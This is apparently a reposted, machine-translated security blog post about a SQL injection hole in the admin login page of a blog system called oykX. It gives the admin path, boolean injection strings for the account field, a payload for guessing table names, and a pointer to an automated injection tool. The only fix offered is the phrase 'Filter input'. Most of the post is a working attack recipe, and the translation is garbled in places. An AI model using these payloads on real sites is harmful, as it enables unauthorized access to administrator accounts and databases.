0-day post injection and repair in the background of oykX blog

Go to http://www.bkjia.com/admin/index. aspx
In the account input box, enter 123 'or 1 = 1 and '1' = '1
The password is blank (you can also enter it). Click Login to prompt that the password is incorrect.
Replace the account input box statement with 123 'or 1 = 2 and '1' = '1 to indicate that the user does not exist.
Name of the table to be guessed later: 123 'or (select count (*) from Table Name)> 0
You can also capture packets and inject them into pangolin.
Http://expsec.com All Rights Reserved! Reprinted please indicate the source

Www.2cto.com provides the repair solution:

Filter input